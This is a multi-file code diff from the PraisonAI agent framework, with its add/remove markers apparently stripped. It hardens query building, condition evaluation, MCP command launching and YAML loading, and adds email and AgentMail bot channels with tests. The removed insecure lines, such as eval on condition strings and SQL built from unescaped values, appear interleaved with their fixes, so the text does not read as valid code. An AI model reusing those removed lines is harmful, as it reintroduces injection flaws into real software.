def _eval_condition(self, condition: str, flags: Dict) -> bool:
"""Evaluate a simple condition expression."""
"""Evaluate a simple condition expression safely."""
import ast
condition = condition.strip()
if condition.startswith("{{") and condition.endswith("}}"):
condition = condition[2:-2].strip()
context = {"flags": type("Flags", (), flags)(), "env": os.environ}
# Handle simple attribute lookups like "flags.verbose" or "env.DEBUG"
context = {"flags": flags, "env": dict(os.environ)}
try:
return bool(eval(condition, {"__builtins__": {}}, context))
except Exception:
# Only allow simple attribute access patterns: obj.attr
parts = condition.split(".")
if len(parts) == 2 and parts[0] in context:
obj = context[parts[0]]
if isinstance(obj, dict):
return bool(obj.get(parts[1], False))
# Try literal eval for simple boolean/numeric expressions
return bool(ast.literal_eval(condition))
except (ValueError, KeyError, TypeError):
return False
@@ -719,17 +719,26 @@ class JobWorkflowExecutor:
# ------------------------------------------------------------------
def _eval_condition(self, condition: str, flags: Dict) -> bool:
"""Evaluate a simple condition expression."""
"""Evaluate a simple condition expression safely."""
import ast
# Strip {{ }} if present
condition = condition.strip()
if condition.startswith("{{") and condition.endswith("}}"):
condition = condition[2:-2].strip()
# Build evaluation context
context = {"flags": type("Flags", (), flags)(), "env": os.environ}
# Handle simple attribute lookups like "flags.verbose" or "env.DEBUG"
context = {"flags": flags, "env": dict(os.environ)}
try:
return bool(eval(condition, {"__builtins__": {}}, context))
except Exception:
# Only allow simple attribute access patterns: obj.attr
parts = condition.split(".")
if len(parts) == 2 and parts[0] in context:
obj = context[parts[0]]
if isinstance(obj, dict):
return bool(obj.get(parts[1], False))
# Try literal eval for simple boolean/numeric expressions
return bool(ast.literal_eval(condition))
except (ValueError, KeyError, TypeError):
return False
# ------------------------------------------------------------------
+31 -1
View File
@@ -5,10 +5,25 @@ Provides Model Context Protocol server integration.
Usage: praisonai "prompt" --mcp "npx -y @modelcontextprotocol/server-filesystem ."
"""
import os
import shlex
from typing import Any, Dict, Tuple, List
from .base import FlagHandler
# Executables allowed as MCP server commands from the CLI.
# The SDK MCP() class is intentionally unrestricted — developers control their own inputs.
ALLOWED_MCP_COMMANDS = {
"npx", "npx.cmd", "npx.exe",
"node", "node.exe",
"python", "python3", "python.exe", "python3.exe",
"uvx", "uvx.exe",
"uv", "uv.exe",
"docker", "docker.exe",
"deno", "deno.exe",
"bun", "bun.exe",
"pipx",
}
class MCPHandler(FlagHandler):
"""
@@ -56,6 +71,9 @@ class MCPHandler(FlagHandler):
Returns:
Tuple of (command, args, env_dict)
Raises:
ValueError: If the command executable is not in the allowed list.
"""
# Parse command using shell-like splitting
parts = shlex.split(command)
@@ -65,6 +83,14 @@ class MCPHandler(FlagHandler):
cmd = parts[0]
args = parts[1:] if len(parts) > 1 else []
# Validate executable against allowlist
basename = os.path.basename(cmd)
if basename not in ALLOWED_MCP_COMMANDS:
raise ValueError(
f"Command '{cmd}' is not in the allowed MCP executables list. "
f"Allowed: {', '.join(sorted(ALLOWED_MCP_COMMANDS - {c for c in ALLOWED_MCP_COMMANDS if '.' in c}))}"
)
# Parse environment variables
env = {}
if env_vars:
@@ -94,7 +120,11 @@ class MCPHandler(FlagHandler):
from praisonaiagents import MCP
cmd, args, env = self.parse_mcp_command(command, env_vars)
try:
cmd, args, env = self.parse_mcp_command(command, env_vars)
except ValueError as e:
self.print_status(str(e), "error")
return None
if not cmd:
self.print_status("Invalid MCP command", "error")
+19 -2
View File
@@ -3521,6 +3521,21 @@ class PraisonAI:
return issues
@staticmethod
def _clean_commit_message(raw: str) -> str:
"""Strip markdown code fences and excess whitespace from LLM-generated commit messages."""
msg = raw.strip()
# Remove wrapping ```...``` (with optional language tag like ```text)
if msg.startswith("```"):
lines = msg.split("\n")
# Remove first line (```<lang?>) and last line (```) if present
if len(lines) >= 2 and lines[-1].strip() == "```":
lines = lines[1:-1]
elif lines[0].strip().startswith("```"):
lines = lines[1:]
msg = "\n".join(lines).strip()
return msg
def handle_commit_command(self, args: list):
"""
Handle AI commit message generation.
@@ -3649,10 +3664,12 @@ Be specific about what changed and why.""",
Detailed diff:
{diff_content}
Provide ONLY the commit message, no explanations."""
Provide ONLY the raw commit message text.
Do NOT wrap it in markdown code fences or backticks.
Do NOT add any explanations or formatting."""
response = agent.chat(prompt)
commit_message = response.strip()
commit_message = self._clean_commit_message(response)
print("\n[bold green]Suggested commit message:[/bold green]")
print(f"[cyan]{commit_message}[/cyan]")
+1 -1
View File
@@ -57,7 +57,7 @@ class CloudDeployer:
file.write("FROM python:3.11-slim\n")
file.write("WORKDIR /app\n")
file.write("COPY . .\n")
file.write("RUN pip install flask praisonai==4.5.63 gunicorn markdown\n")
file.write("RUN pip install flask praisonai==4.5.80 gunicorn markdown\n")
file.write("EXPOSE 8080\n")
file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
+26 -3
View File
@@ -865,7 +865,7 @@ class WebSocketGateway:
elif not isinstance(raw["channels"], dict) or not raw["channels"]:
errors.append("'channels' must be a non-empty dictionary")
else:
valid_platforms = {"telegram", "discord", "slack", "whatsapp"}
valid_platforms = {"telegram", "discord", "slack", "whatsapp", "email", "agentmail"}
for cname, cdef in raw["channels"].items():
if not isinstance(cdef, dict):
errors.append(f"Channel '{cname}' must be a dictionary")
@@ -880,7 +880,9 @@ class WebSocketGateway:
# WhatsApp web mode doesn't require a token
is_wa_web = (platform == "whatsapp" and
cdef.get("mode", "cloud").lower().strip() == "web")
if not cdef.get("token") and not is_wa_web:
# Email/AgentMail use env vars for tokens — not required in YAML
is_email_platform = platform in ("email", "agentmail")
if not cdef.get("token") and not is_wa_web and not is_email_platform:
errors.append(
f"Channel '{cname}' missing 'token' "
"(use ${{ENV_VAR}} syntax for env vars)"
@@ -1078,7 +1080,9 @@ class WebSocketGateway:
# WhatsApp web mode doesn't require a token
wa_web_mode = (channel_type == "whatsapp" and
ch_cfg.get("mode", "cloud").lower().strip() == "web")
if not token and not wa_web_mode:
# Email/AgentMail use env vars for tokens — not required in YAML
is_email_platform = channel_type in ("email", "agentmail")
if not token and not wa_web_mode and not is_email_platform:
logger.warning(f"No token for channel '{channel_name}', skipping")
continue
@@ -1143,6 +1147,25 @@ class WebSocketGateway:
mode=wa_mode,
creds_dir=ch_cfg.get("creds_dir"),
)
elif channel_type == "email":
from praisonai.bots import EmailBot
email_token = token or os.environ.get("EMAIL_APP_PASSWORD", "")
return EmailBot(
token=email_token,
agent=agent,
email_address=ch_cfg.get("email_address") or os.environ.get("EMAIL_ADDRESS", ""),
imap_server=ch_cfg.get("imap_server") or os.environ.get("EMAIL_IMAP_SERVER", ""),
smtp_server=ch_cfg.get("smtp_server") or os.environ.get("EMAIL_SMTP_SERVER", ""),
)
elif channel_type == "agentmail":
from praisonai.bots import AgentMailBot
am_token = token or os.environ.get("AGENTMAIL_API_KEY", "")
return AgentMailBot(
token=am_token,
agent=agent,
inbox_id=ch_cfg.get("inbox_id") or os.environ.get("AGENTMAIL_INBOX_ID", ""),
domain=ch_cfg.get("domain") or os.environ.get("AGENTMAIL_DOMAIN", ""),
)
else:
logger.warning(f"Unknown channel type: {channel_type}")
return None
@@ -237,7 +237,7 @@ class SurrealDBConversationStore(ConversationStore):
params["after"] = after
where = "WHERE " + " AND ".join(conditions)
limit_clause = f"LIMIT {limit}" if limit else ""
limit_clause = f"LIMIT {int(limit)}" if limit else ""
result = self._run_sync(
self._client.query(
@@ -6,6 +6,7 @@ Install: pip install clickhouse-connect
"""
import logging
import re
from typing import Any, Dict, List, Optional
from .base import KnowledgeStore, KnowledgeDocument
@@ -13,6 +14,13 @@ from .base import KnowledgeStore, KnowledgeDocument
logger = logging.getLogger(__name__)
def _sanitize_identifier(name: str) -> str:
"""Sanitize a SQL identifier (table/database name) to prevent injection."""
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_.]*$', name):
raise ValueError(f"Invalid identifier: {name}")
return name
class ClickHouseKnowledgeStore(KnowledgeStore):
"""
ClickHouse-based knowledge store using vector search.
@@ -52,11 +60,11 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
self.database = database
# Create database if not exists
self._client.command(f"CREATE DATABASE IF NOT EXISTS {database}")
self._client.command(f"CREATE DATABASE IF NOT EXISTS {_sanitize_identifier(database)}")
logger.info(f"Connected to ClickHouse database: {database}")
def _table_name(self, collection: str) -> str:
return f"{self.database}.praison_vec_{collection}"
return _sanitize_identifier(f"{self.database}.praison_vec_{collection}")
def create_collection(
self,
@@ -98,10 +106,11 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
def list_collections(self) -> List[str]:
"""List all collections."""
result = self._client.query(f"""
SELECT name FROM system.tables
WHERE database = '{self.database}' AND name LIKE 'praison_vec_%'
""")
db = _sanitize_identifier(self.database)
result = self._client.query(
"SELECT name FROM system.tables WHERE database = %(db)s AND name LIKE 'praison_vec_%%'",
parameters={"db": db}
)
return [row[0].replace("praison_vec_", "") for row in result.result_rows]
def insert(
@@ -156,19 +165,20 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
"""Search for similar documents using cosine distance."""
table = self._table_name(collection)
# Convert embedding to string for query
embedding_str = "[" + ",".join(map(str, query_embedding)) + "]"
# Convert embedding to validated float array for query
embedding_str = "[" + ",".join(str(float(x)) for x in query_embedding) + "]"
limit = int(limit)
query = f"""
SELECT
SELECT
id, content, content_hash, created_at,
1 - cosineDistance(embedding, {embedding_str}) as score
FROM {table}
"""
if score_threshold:
query += f" WHERE 1 - cosineDistance(embedding, {embedding_str}) >= {score_threshold}"
query += f" WHERE 1 - cosineDistance(embedding, {embedding_str}) >= {float(score_threshold)}"
query += f" ORDER BY score DESC LIMIT {limit}"
result = self._client.query(query)
@@ -195,11 +205,12 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
"""Get documents by IDs."""
table = self._table_name(collection)
id_list = ", ".join([f"'{i}'" for i in ids])
result = self._client.query(f"""
SELECT id, content, content_hash, created_at, embedding
FROM {table} WHERE id IN ({id_list})
""")
placeholders = ", ".join(["%(id_{})s".format(idx) for idx in range(len(ids))])
params = {"id_{}".format(idx): i for idx, i in enumerate(ids)}
result = self._client.query(
f"SELECT id, content, content_hash, created_at, embedding FROM {table} WHERE id IN ({placeholders})",
parameters=params
)
documents = []
for row in result.result_rows:
@@ -225,8 +236,12 @@ class ClickHouseKnowledgeStore(KnowledgeStore):
table = self._table_name(collection)
if ids:
id_list = ", ".join([f"'{i}'" for i in ids])
self._client.command(f"ALTER TABLE {table} DELETE WHERE id IN ({id_list})")
placeholders = ", ".join(["%(id_{})s".format(idx) for idx in range(len(ids))])
params = {"id_{}".format(idx): i for idx, i in enumerate(ids)}
self._client.command(
f"ALTER TABLE {table} DELETE WHERE id IN ({placeholders})",
parameters=params
)
return len(ids)
return 0
@@ -6,6 +6,7 @@ Install: pip install lancedb
"""
import logging
import re
from typing import Any, Dict, List, Optional
from .base import KnowledgeStore, KnowledgeDocument
@@ -13,6 +14,18 @@ from .base import KnowledgeStore, KnowledgeDocument
logger = logging.getLogger(__name__)
def _sanitize_identifier(name: str) -> str:
"""Sanitize a SQL identifier to prevent injection."""
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', name):
raise ValueError(f"Invalid identifier: {name}")
return name
def _escape_value(val: str) -> str:
"""Escape a string value for use in LanceDB WHERE clauses."""
return str(val).replace("'", "''").replace("\\", "\\\\")
class LanceDBKnowledgeStore(KnowledgeStore):
"""
LanceDB-based knowledge store for vector search.
@@ -140,9 +153,9 @@ class LanceDBKnowledgeStore(KnowledgeStore):
query = table.search(query_embedding).limit(limit)
if filters:
where_clauses = [f"{k} = '{v}'" for k, v in filters.items()]
where_clauses = [f"{_sanitize_identifier(k)} = '{_escape_value(v)}'" for k, v in filters.items()]
query = query.where(" AND ".join(where_clauses))
results = query.to_pandas()
documents = []
@@ -170,7 +183,7 @@ class LanceDBKnowledgeStore(KnowledgeStore):
"""Get documents by IDs."""
table = self._get_table(collection)
id_list = ", ".join([f"'{i}'" for i in ids])
id_list = ", ".join([f"'{_escape_value(i)}'" for i in ids])
results = table.search().where(f"id IN ({id_list})").to_pandas()
documents = []
@@ -197,11 +210,11 @@ class LanceDBKnowledgeStore(KnowledgeStore):
table = self._get_table(collection)
if ids:
id_list = ", ".join([f"'{i}'" for i in ids])
id_list = ", ".join([f"'{_escape_value(i)}'" for i in ids])
table.delete(f"id IN ({id_list})")
return len(ids)
elif filters:
where_clauses = [f"{k} = '{v}'" for k, v in filters.items()]
where_clauses = [f"{_sanitize_identifier(k)} = '{_escape_value(v)}'" for k, v in filters.items()]
table.delete(" AND ".join(where_clauses))
return -1
return 0
@@ -6,6 +6,7 @@ Install: pip install pymilvus
"""
import logging
import re
from typing import Any, Dict, List, Optional
from .base import KnowledgeStore, KnowledgeDocument
@@ -13,6 +14,18 @@ from .base import KnowledgeStore, KnowledgeDocument
logger = logging.getLogger(__name__)
def _sanitize_identifier(name: str) -> str:
"""Sanitize a Milvus field name to prevent injection."""
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', name):
raise ValueError(f"Invalid field name: {name}")
return name
def _escape_value(val: str) -> str:
"""Escape a string value for use in Milvus expressions."""
return str(val).replace('\\', '\\\\').replace('"', '\\"')
class MilvusKnowledgeStore(KnowledgeStore):
"""
Milvus-based knowledge store for vector search.
@@ -180,9 +193,9 @@ class MilvusKnowledgeStore(KnowledgeStore):
expr = None
if filters:
conditions = [f'{k} == "{v}"' for k, v in filters.items()]
conditions = [f'{_sanitize_identifier(k)} == "{_escape_value(v)}"' for k, v in filters.items()]
expr = " and ".join(conditions)
results = col.search(
data=[query_embedding],
anns_field="vector",
@@ -220,9 +233,9 @@ class MilvusKnowledgeStore(KnowledgeStore):
col = Collection(collection)
col.load()
id_list = ", ".join([f'"{i}"' for i in ids])
id_list = ", ".join([f'"{_escape_value(i)}"' for i in ids])
expr = f"id in [{id_list}]"
results = col.query(
expr=expr,
output_fields=["id", "content", "content_hash", "created_at", "vector"],
@@ -254,12 +267,12 @@ class MilvusKnowledgeStore(KnowledgeStore):
col.load()
if ids:
id_list = ", ".join([f'"{i}"' for i in ids])
id_list = ", ".join([f'"{_escape_value(i)}"' for i in ids])
expr = f"id in [{id_list}]"
col.delete(expr)
return len(ids)
elif filters:
conditions = [f'{k} == "{v}"' for k, v in filters.items()]
conditions = [f'{_sanitize_identifier(k)} == "{_escape_value(v)}"' for k, v in filters.items()]
expr = " and ".join(conditions)
col.delete(expr)
return -1
@@ -5,6 +5,7 @@ Requires: singlestoredb
Install: pip install singlestoredb
"""
import json
import logging
from typing import Any, Dict, List, Optional
@@ -227,7 +228,7 @@ class SingleStoreVectorKnowledgeStore(KnowledgeStore):
documents.append(KnowledgeDocument(
id=row[0],
content=row[1],
metadata=eval(row[2]) if row[2] else None,
metadata=json.loads(row[2]) if row[2] else None,
content_hash=row[3],
created_at=row[4]
))
@@ -256,7 +257,7 @@ class SingleStoreVectorKnowledgeStore(KnowledgeStore):
KnowledgeDocument(
id=row[0],
content=row[1],
metadata=eval(row[2]) if row[2] else None,
metadata=json.loads(row[2]) if row[2] else None,
content_hash=row[3],
created_at=row[4]
)
@@ -199,8 +199,9 @@ class SurrealDBVectorKnowledgeStore(KnowledgeStore):
"""Search for similar documents using vector search."""
self._init_client()
# SurrealDB vector search query
embedding_str = str(query_embedding)
# SurrealDB vector search query - validate numeric inputs
embedding_str = "[" + ",".join(str(float(x)) for x in query_embedding) + "]"
limit = int(limit)
query = f"""
SELECT *, vector::similarity::cosine(embedding, {embedding_str}) AS score
FROM {collection}
+1 -1
View File
@@ -56,7 +56,7 @@ class PlanApplier:
# Try to use ruamel.yaml for comment preservation
try:
from ruamel.yaml import YAML
self._yaml = YAML()
self._yaml = YAML(typ='safe')
self._yaml.preserve_quotes = True
self._use_ruamel = True
except ImportError:
+27 -7
View File
@@ -173,12 +173,18 @@ class ScheduledAgentExecutor:
# Skip jobs with no message
if not message:
self._runner.mark_run(job)
duration = time.time() - started
self._runner.mark_run(
job,
status="skipped",
error="No message configured",
duration=duration,
)
return JobResult(
job=job,
status="skipped",
error="No message configured",
duration=time.time() - started,
duration=duration,
)
# Resolve the agent
@@ -187,19 +193,23 @@ class ScheduledAgentExecutor:
except Exception as e:
logger.warning("Agent resolution failed for job '%s': %s", job.id, e)
err = f"Agent resolution failed: {e}"
duration = time.time() - started
self._runner.mark_run(job, status="failed", error=err, duration=duration)
if self._on_failure:
self._on_failure(job, err)
return JobResult(
job=job, status="failed", error=err, duration=time.time() - started,
job=job, status="failed", error=err, duration=duration,
)
if agent is None:
err = f"No agent found for agent_id={agent_id!r}"
logger.warning("Skipping job '%s': %s", job.id, err)
duration = time.time() - started
self._runner.mark_run(job, status="failed", error=err, duration=duration)
if self._on_failure:
self._on_failure(job, err)
return JobResult(
job=job, status="failed", error=err, duration=time.time() - started,
job=job, status="failed", error=err, duration=duration,
)
# Execute via agent.chat() in a thread (sync-safe)
@@ -227,14 +237,15 @@ class ScheduledAgentExecutor:
except Exception as e:
logger.warning("Job '%s' execution failed: %s", job.id, e)
err = str(e)
duration = time.time() - started
self._runner.mark_run(job, status="failed", error=err, duration=duration)
if self._on_failure:
self._on_failure(job, err)
return JobResult(
job=job, status="failed", error=err, duration=time.time() - started,
job=job, status="failed", error=err, duration=duration,
)
# Success
self._runner.mark_run(job)
# Success - calculate duration before delivery
duration = time.time() - started
# Deliver to channel bot if delivery target exists
@@ -256,6 +267,15 @@ class ScheduledAgentExecutor:
job.id, delivery.channel, delivery.channel_id, e,
)
# Log history with execution results
self._runner.mark_run(
job,
status="succeeded",
result=result_str,
duration=duration,
delivered=delivered,
)
if self._on_success:
self._on_success(job, result_str)
+9 -1
View File
@@ -112,7 +112,15 @@ class ToolResolver:
if hasattr(agent_tools, 'TOOL_MAPPINGS'):
if name in agent_tools.TOOL_MAPPINGS:
# Use __getattr__ to lazily load the tool
tool = getattr(agent_tools, name, None)
try:
tool = getattr(agent_tools, name)
except Exception as e:
# Tool exists in TOOL_MAPPINGS but failed to load
# (e.g. missing dependency like psutil)
logger.warning(
f"Tool '{name}' exists in TOOL_MAPPINGS but failed to load: {e}"
)
return None
if tool is not None:
logger.debug(f"Resolved '{name}' from praisonaiagents.tools")
return tool
+1 -1
View File
@@ -1 +1 @@
__version__ = "4.5.63"
__version__ = "4.5.80"
+7 -1
View File
@@ -12,7 +12,7 @@ dependencies = [
"rich>=13.7",
"markdown>=3.5",
"pyparsing>=3.0.0",
"praisonaiagents>=1.5.63",
"praisonaiagents>=1.5.80",
"python-dotenv>=0.19.0",
"litellm>=1.81.0",
"PyYAML>=6.0",
@@ -72,6 +72,7 @@ realtime = [
"greenlet>=3.0.3",
"tavily-python==0.5.0",
"crawl4ai>=0.7.0",
"playwright>=1.47.0", # required by crawl4ai — browsers still need: playwright install chromium
"websockets>=12.0",
"plotly>=5.24.0",
"yfinance>=0.2.44",
@@ -122,6 +123,7 @@ all = [
"plotly>=5.24.0",
"yfinance>=0.2.44",
"ddgs>=9.0.0",
"psutil>=5.9.0", # Shell tools
]
bot = [
# Dependencies for Telegram, Discord, Slack, and WhatsApp bots
@@ -132,6 +134,7 @@ bot = [
"brotlicffi>=1.0.0",
"aiohttp>=3.8.0",
"ddgs>=9.0.0", # DuckDuckGo search for agent web tools
"psutil>=5.9.0", # Shell tools (execute_command, list_processes, get_system_info)
]
bot-whatsapp-web = [
# WhatsApp Web mode (experimental, token-free via QR scan)
@@ -156,8 +159,11 @@ claw = [
# Search + browsing
"tavily-python==0.5.0",
"crawl4ai>=0.7.0",
"playwright>=1.47.0", # required by crawl4ai — browsers still need: playwright install chromium
"websockets>=12.0",
"ddgs>=9.0.0",
# Shell tools
"psutil>=5.9.0",
# Bot channels (Telegram, Discord, Slack)
"python-telegram-bot>=20.0",
"discord.py>=2.0.0",
@@ -0,0 +1,333 @@
"""
Unit tests for AgentMailBot implementation.
Tests cover:
- Registry integration
- Lazy import
- YAML validation
- Bot structure and properties
- Email utilities (shared with EmailBot)
- Command and message handlers
"""
import pytest
from unittest.mock import MagicMock, patch
class TestAgentMailPlatformRegistry:
"""Test AgentMail platform registration in SDK."""
def test_agentmail_in_builtin_platforms(self):
"""AgentMail should be in _BUILTIN_PLATFORMS."""
from praisonai.bots._registry import _BUILTIN_PLATFORMS
assert "agentmail" in _BUILTIN_PLATFORMS
assert _BUILTIN_PLATFORMS["agentmail"] == ("praisonai.bots.agentmail", "AgentMailBot")
def test_resolve_adapter_returns_agentmail_bot(self):
"""resolve_adapter('agentmail') should return AgentMailBot class."""
from praisonai.bots._registry import resolve_adapter
cls = resolve_adapter("agentmail")
assert cls.__name__ == "AgentMailBot"
def test_list_platforms_includes_agentmail(self):
"""list_platforms() should include 'agentmail'."""
from praisonai.bots._registry import list_platforms
platforms = list_platforms()
assert "agentmail" in platforms
class TestAgentMailLazyImport:
"""Test lazy import of AgentMailBot."""
def test_lazy_import_from_bots_module(self):
"""AgentMailBot should be importable from praisonai.bots."""
from praisonai.bots import AgentMailBot
assert AgentMailBot is not None
assert AgentMailBot.__name__ == "AgentMailBot"
def test_agentmail_bot_in_all(self):
"""AgentMailBot should be in __all__."""
from praisonai.bots import __all__
assert "AgentMailBot" in __all__
class TestAgentMailTokenEnvMap:
"""Test AgentMail environment variable mappings."""
def test_agentmail_in_token_env_map(self):
"""AgentMail should have token env mapping."""
from praisonai.bots.bot import _TOKEN_ENV_MAP
assert "agentmail" in _TOKEN_ENV_MAP
assert _TOKEN_ENV_MAP["agentmail"] == "AGENTMAIL_API_KEY"
def test_agentmail_in_extra_env_map(self):
"""AgentMail should have extra env mappings."""
from praisonai.bots.bot import _EXTRA_ENV_MAP
assert "agentmail" in _EXTRA_ENV_MAP
assert "inbox_id" in _EXTRA_ENV_MAP["agentmail"]
assert "domain" in _EXTRA_ENV_MAP["agentmail"]
class TestAgentMailYamlValidation:
"""Test YAML schema validation for AgentMail channel."""
def test_valid_platforms_includes_agentmail(self):
"""valid_platforms should include 'agentmail'."""
from praisonai.bots._config_schema import BotYamlSchema
# Create a valid config with agentmail channel
config = {
"channels": {
"agentmail": {
"bot_token": "am_test_key"
}
}
}
# Should not raise
schema = BotYamlSchema(**config)
assert "agentmail" in schema.channels
def test_yaml_schema_accepts_agentmail_channel(self):
"""BotYamlSchema should accept agentmail as a valid channel."""
from praisonai.bots._config_schema import BotYamlSchema
config = {
"channels": {
"agentmail": {"bot_token": "test"}
}
}
schema = BotYamlSchema(**config)
assert schema.channels is not None
class TestAgentMailBotStructure:
"""Test AgentMailBot class structure."""
def test_agentmail_bot_has_required_properties(self):
"""AgentMailBot should have required properties."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
assert hasattr(bot, 'platform')
assert hasattr(bot, 'is_running')
assert hasattr(bot, 'bot_user')
assert hasattr(bot, 'email_address')
assert bot.platform == "agentmail"
def test_agentmail_bot_has_required_methods(self):
"""AgentMailBot should have required BotProtocol methods."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
assert hasattr(bot, 'start')
assert hasattr(bot, 'stop')
assert hasattr(bot, 'send_message')
assert hasattr(bot, 'probe')
assert hasattr(bot, 'health')
assert hasattr(bot, 'on_message')
assert hasattr(bot, 'on_command')
def test_agentmail_bot_has_inbox_methods(self):
"""AgentMailBot should have inbox lifecycle methods."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
assert hasattr(bot, 'create_inbox')
assert hasattr(bot, 'list_inboxes')
assert hasattr(bot, 'delete_inbox')
def test_agentmail_bot_accepts_config(self):
"""AgentMailBot should accept BotConfig."""
from praisonai.bots import AgentMailBot
from praisonaiagents.bots import BotConfig
config = BotConfig(polling_interval=15)
bot = AgentMailBot(token="test_token", config=config)
assert bot.config == config
class TestEmailUtilsShared:
"""Test shared email utilities work correctly."""
def test_is_auto_reply_detects_auto_submitted(self):
"""is_auto_reply should detect Auto-Submitted header."""
from praisonai.bots._email_utils import is_auto_reply
headers = {"auto-submitted": "auto-replied"}
assert is_auto_reply(headers) is True
def test_is_auto_reply_ignores_no_value(self):
"""is_auto_reply should ignore auto-submitted: no."""
from praisonai.bots._email_utils import is_auto_reply
headers = {"auto-submitted": "no"}
assert is_auto_reply(headers) is False
def test_is_auto_reply_detects_x_autoreply(self):
"""is_auto_reply should detect X-Autoreply header."""
from praisonai.bots._email_utils import is_auto_reply
headers = {"x-autoreply": "yes"}
assert is_auto_reply(headers) is True
def test_is_auto_reply_normal_email(self):
"""is_auto_reply should return False for normal emails."""
from praisonai.bots._email_utils import is_auto_reply
headers = {"from": "[email protected]", "subject": "Hello"}
assert is_auto_reply(headers) is False
def test_is_blocked_sender_blocks_mailer_daemon(self):
"""is_blocked_sender should block mailer-daemon."""
from praisonai.bots._email_utils import is_blocked_sender
assert is_blocked_sender("[email protected]") is True
def test_is_blocked_sender_blocks_noreply(self):
"""is_blocked_sender should block noreply addresses."""
from praisonai.bots._email_utils import is_blocked_sender
assert is_blocked_sender("[email protected]") is True
assert is_blocked_sender("[email protected]") is True
def test_is_blocked_sender_allows_normal(self):
"""is_blocked_sender should allow normal senders."""
from praisonai.bots._email_utils import is_blocked_sender
assert is_blocked_sender("[email protected]") is False
def test_extract_email_address_simple(self):
"""extract_email_address should handle simple addresses."""
from praisonai.bots._email_utils import extract_email_address
assert extract_email_address("[email protected]") == "[email protected]"
def test_extract_email_address_with_name(self):
"""extract_email_address should extract from 'Name <email>' format."""
from praisonai.bots._email_utils import extract_email_address
assert extract_email_address("John Doe <[email protected]>") == "[email protected]"
def test_normalize_subject_strips_re(self):
"""normalize_subject should strip Re: prefix."""
from praisonai.bots._email_utils import normalize_subject
assert normalize_subject("Re: Hello") == "Hello"
assert normalize_subject("RE: RE: Hello") == "Hello"
def test_normalize_subject_strips_fwd(self):
"""normalize_subject should strip Fwd: prefix."""
from praisonai.bots._email_utils import normalize_subject
assert normalize_subject("Fwd: Hello") == "Hello"
class TestAgentMailBotCommandHandler:
"""Test AgentMailBot command and message handlers."""
def test_on_command_decorator(self):
"""on_command should register command handlers."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
@bot.on_command("help")
async def help_handler(message):
pass
assert "help" in bot._command_handlers
def test_on_message_handler(self):
"""on_message should register message handlers."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
@bot.on_message
def msg_handler(message):
pass
assert len(bot._message_handlers) == 1
class TestBotWrapperAgentMailSupport:
"""Test Bot wrapper supports agentmail platform."""
def test_bot_wrapper_accepts_agentmail_platform(self):
"""Bot wrapper should accept 'agentmail' as platform."""
from praisonai.bots import Bot
bot = Bot("agentmail", token="test_token")
assert bot._platform == "agentmail"
class TestAgentMailBotProbe:
"""Test AgentMailBot probe functionality."""
@pytest.mark.asyncio
async def test_probe_returns_probe_result(self):
"""probe() should return ProbeResult."""
from praisonai.bots import AgentMailBot
from praisonaiagents.bots import ProbeResult
bot = AgentMailBot(token="test_token")
# Mock the client to avoid actual API calls
with patch.object(bot, '_get_client') as mock_get_client:
mock_client = MagicMock()
mock_client.inboxes.list.return_value = []
mock_get_client.return_value = mock_client
result = await bot.probe()
assert isinstance(result, ProbeResult)
assert result.platform == "agentmail"
assert result.ok is True
@pytest.mark.asyncio
async def test_probe_handles_import_error(self):
"""probe() should handle missing agentmail package."""
from praisonai.bots import AgentMailBot
bot = AgentMailBot(token="test_token")
with patch.object(bot, '_get_client', side_effect=ImportError("No module")):
result = await bot.probe()
assert result.ok is False
assert "not installed" in result.error
class TestAgentMailBotHealth:
"""Test AgentMailBot health functionality."""
@pytest.mark.asyncio
async def test_health_returns_health_result(self):
"""health() should return HealthResult."""
from praisonai.bots import AgentMailBot
from praisonaiagents.bots import HealthResult
bot = AgentMailBot(token="test_token")
with patch.object(bot, '_get_client') as mock_get_client:
mock_client = MagicMock()
mock_client.inboxes.list.return_value = []
mock_get_client.return_value = mock_client
result = await bot.health()
assert isinstance(result, HealthResult)
assert result.platform == "agentmail"
@@ -0,0 +1,268 @@
"""
AgentMail Parity Tests — YAML Config, Python API, and AIUI Channel.
Verifies that all three usage paths produce consistent, working results:
1. YAML parity: agentmail-bot.yaml → BotYamlSchema → BotOS
2. Python parity: Bot("agentmail") and AgentMailBot() direct
3. AIUI parity: SUPPORTED_PLATFORMS, _create_bot_direct, token resolution
"""
import os
import sys
import tempfile
import textwrap
import pytest
from unittest.mock import MagicMock, patch
# ═══════════════════════════════════════════════════════════════════
# YAML PARITY (6 tests)
# ═══════════════════════════════════════════════════════════════════
class TestYamlParityAgentMail:
"""Verify YAML config files work for agentmail platform."""
def test_yaml_schema_accepts_agentmail(self):
"""BotYamlSchema should accept agentmail as a valid channel."""
from praisonai.bots._config_schema import BotYamlSchema
schema = BotYamlSchema(channels={"agentmail": {"token": "am_test"}})
assert "agentmail" in schema.channels
def test_yaml_schema_rejects_unknown_platform(self):
"""BotYamlSchema should reject platforms not in valid set."""
from praisonai.bots._config_schema import BotYamlSchema
from pydantic import ValidationError
with pytest.raises(ValidationError, match="Unknown channel"):
BotYamlSchema(channels={"fakeplatform": {"token": "x"}})
def test_yaml_schema_resolves_env_var(self):
"""Token with ${ENV_VAR} syntax should be resolved."""
from praisonai.bots._config_schema import BotYamlSchema
os.environ["_TEST_AM_KEY"] = "am_resolved_key"
try:
schema = BotYamlSchema(
channels={"agentmail": {"token": "${_TEST_AM_KEY}"}}
)
assert schema.channels["agentmail"].token == "am_resolved_key"
finally:
del os.environ["_TEST_AM_KEY"]
def test_yaml_file_loads_agentmail_config(self):
"""load_and_validate_bot_yaml should parse agentmail YAML."""
from praisonai.bots._config_schema import load_and_validate_bot_yaml
yaml_content = textwrap.dedent("""\
channels:
agentmail:
token: "am_test_token"
""")
